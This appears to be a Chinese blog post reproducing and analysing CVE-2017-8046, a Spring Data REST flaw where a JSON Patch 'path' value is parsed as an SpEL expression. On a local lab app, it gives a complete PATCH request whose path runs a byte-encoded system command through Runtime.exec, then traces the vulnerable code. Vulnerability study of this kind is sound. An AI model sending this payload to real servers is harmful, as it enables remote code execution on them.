1. 程式人生 > >CVE-2017-8046 復現與分析

CVE-2017-8046 復現與分析

stream inpu gecko connect ted ray col apply() cte

環境搭建

使用的項目為https://github.com/spring-guides/gs-accessing-data-rest.git裏面的complete,直接用IDEA導入,並修改pom.xml中版本信息為漏洞版本。這裏改為1.5.6。

技術分享圖片

之前嘗試搭建了另一個驗證環境,但是修改版本後加載一直報錯,不知道是什麽原因,寫完在研究下。

直接運行,默認端口8080,訪問http://localhost:8080/

技術分享圖片

people類有兩個屬性,firstName和lastName

 1 package hello;
 2 
 3 import javax.persistence.Entity;
 4 import
javax.persistence.GeneratedValue; 5 import javax.persistence.GenerationType; 6 import javax.persistence.Id; 7 8 @Entity 9 public class Person { 10 11 @Id 12 @GeneratedValue(strategy = GenerationType.AUTO) 13 private long id; 14 15 private String firstName; 16 private String lastName;
17 18 public String getFirstName() { 19 return firstName; 20 } 21 22 public void setFirstName(String firstName) { 23 this.firstName = firstName; 24 } 25 26 public String getLastName() { 27 return lastName; 28 } 29 30 public void setLastName(String lastName) {
31 this.lastName = lastName; 32 } 33 }

根據rest api規定,用POST請求新建一個people,請求如下

POST /people HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 32

{"firstName":"w","lastName":"q"}

技術分享圖片

此時已創建一個people對象,通過GET請求可以訪問對象

技術分享圖片

漏洞復現

需要用PATCH方法,而且請求格式為JSON。根據RFC 6902,發送JSON文檔結構需要註意以下兩點:

1、請求頭為Content-Type: application/json-patch+json

2、需要參數op、路徑path,其中op所支持的方法很多,如test,add,replace等,path參數則必須使用斜杠分割

這樣我們就可以構造payload了

PATCH /people/1 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type:application/json-patch+json
Upgrade-Insecure-Requests: 1
Content-Length: 256

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{111,112,101,110,32,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112}))/lastName", "value": "vulhub" }]

參數path存在代碼註入,可執行系統命令,這裏運行的命令是open /Applications/Calculator.app,成功彈出計算器

技術分享圖片

漏洞分析

入口文件是位於org.springframework.data.rest.webmvc.config.JsonPatchHandler:apply()

技術分享圖片

通過request.isJsonPatchRequest確定是PATCH請求之後,調用applyPatch(request.getBody(), target);。其中isJsonPatchRequest的判斷方法是

1 public boolean isJsonPatchRequest() {
2     // public static final MediaType JSON_PATCH_JSON = MediaType.valueOf("application/json-patch+json");
3     return isPatchRequest() && RestMediaTypes.JSON_PATCH_JSON.isCompatibleWith(contentType);
4 }

所以這就要求我們使用PATCH方法時,contentType要為application/json-patch+json。

繼續跟蹤進入到applyPatch()方法中:

1 <T> T applyPatch(InputStream source, T target) throws Exception {
2     return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
3 }

繼續跟蹤進入到getPatchOperations()中:

1 private Patch getPatchOperations(InputStream source) {
2     try {
3         return new JsonPatchPatchConverter(mapper).convert(mapper.readTree(source));
4     } catch (Exception o_O) {
5         throw new HttpMessageNotReadableException(
6                 String.format("Could not read PATCH operations! Expected %s!", RestMediaTypes.JSON_PATCH_JSON), o_O);
7     }
8 }

利用mapper初始化JsonPatchPatchConverter()對象之後調用convert()方法。跟蹤org.springframework.data.rest.webmvc.json.patch.JsonPatchPatchConverter:convert()方法

 1 public Patch convert(JsonNode jsonNode) {
 2         if (!(jsonNode instanceof ArrayNode)) {
 3             throw new IllegalArgumentException("JsonNode must be an instance of ArrayNode");
 4         } else {
 5             ArrayNode opNodes = (ArrayNode)jsonNode;
 6             List<PatchOperation> ops = new ArrayList(opNodes.size());
 7             Iterator elements = opNodes.elements();
 8 
 9             while(elements.hasNext()) {
10                 JsonNode opNode = (JsonNode)elements.next();
11                 String opType = opNode.get("op").textValue();
12                 String path = opNode.get("path").textValue();
13                 JsonNode valueNode = opNode.get("value");
14                 Object value = this.valueFromJsonNode(path, valueNode);
15                 String from = opNode.has("from") ? opNode.get("from").textValue() : null;
16                 if (opType.equals("test")) {
17                     ops.add(new TestOperation(path, value));
18                 } else if (opType.equals("replace")) {
19                     ops.add(new ReplaceOperation(path, value));
20                 } else if (opType.equals("remove")) {
21                     ops.add(new RemoveOperation(path));
22                 } else if (opType.equals("add")) {
23                     ops.add(new AddOperation(path, value));
24                 } else if (opType.equals("copy")) {
25                     ops.add(new CopyOperation(path, from));
26                 } else {
27                     if (!opType.equals("move")) {
28                         throw new PatchException("Unrecognized operation type: " + opType);
29                     }
30 
31                     ops.add(new MoveOperation(path, from));
32                 }
33             }
34 
35             return new Patch(ops);
36         }
37     }

convert()方法返回Patch()對象,其中的ops包含了我們的payload。進入到org.springframework.data.rest.webmvc.json.patch.Patch中,

1 public Patch(List<PatchOperation> operations) {
2     this.operations = operations;
3 }

通過上一步地分析,ops是一個List<PatchOperation>對象,每一個PatchOperation對象中包含了op、path、value三個內容。進入到PatchOperation分析其賦值情況

1 public PatchOperation(String op, String path, Object value) {
2 
3     this.op = op;
4     this.path = path;
5     this.value = value;
6     this.spelExpression = pathToExpression(path);
7 }

進入到pathToExpression()中

1 public static Expression pathToExpression(String path) {
2     return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path));
3 }

可以看到這是一個SPEL表達式解析操作,但是在解析之前調用了pathToSpEL()。進入到pathToSpEL()中。

 1 private static String pathToSpEL(String path) {
 2     return pathNodesToSpEL(path.split("\\/"));          // 使用/分割路徑
 3 }
 4 
 5 private static String pathNodesToSpEL(String[] pathNodes) {
 6     StringBuilder spelBuilder = new StringBuilder();
 7     for (int i = 0; i < pathNodes.length; i++) {
 8         String pathNode = pathNodes[i];
 9         if (pathNode.length() == 0) {
10             continue;
11         }
12         if (APPEND_CHARACTERS.contains(pathNode)) {
13             if (spelBuilder.length() > 0) {
14                 spelBuilder.append(".");            // 使用.重新組合路徑
15             }
16             spelBuilder.append("$[true]");
17             continue;
18         }
19         try {
20             int index = Integer.parseInt(pathNode);
21             spelBuilder.append(‘[‘).append(index).append(‘]‘);
22         } catch (NumberFormatException e) {
23             if (spelBuilder.length() > 0) {
24                 spelBuilder.append(‘.‘);
25             }
26             spelBuilder.append(pathNode);
27         }
28     }
29     String spel = spelBuilder.toString();
30     if (spel.length() == 0) {
31         spel = "#this";
32     }
33     return spel;
34 }

重新回到org.springframework.data.rest.webmvc.config.JsonPatchHandler:applyPatch()中,

1 T applyPatch(InputStream source, T target) throws Exception {
2     return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
3 }

實際上PatchOperation是一個抽象類,實際上應該調用其實現類的perform()方法。通過動態調試分析,此時的operation實際是ReplaceOperation類的實例(這也和我們傳入的replace操作是對應的)。進入到ReplaceOperation:perform()中,

1 <T> void perform(Object target, Class<T> type) {
2     setValueOnTarget(target, evaluateValueFromTarget(target, type));
3 }
4 
5 protected void setValueOnTarget(Object target, Object value) {
6     spelExpression.setValue(target, value);
7 }

在setValueOnTarget()中會調用spelExpression對spel表示式進行解析,從而觸發漏洞。

漏洞驗證

明天用pocsuite寫下poc,現在困了。


CVE-2017-8046 復現與分析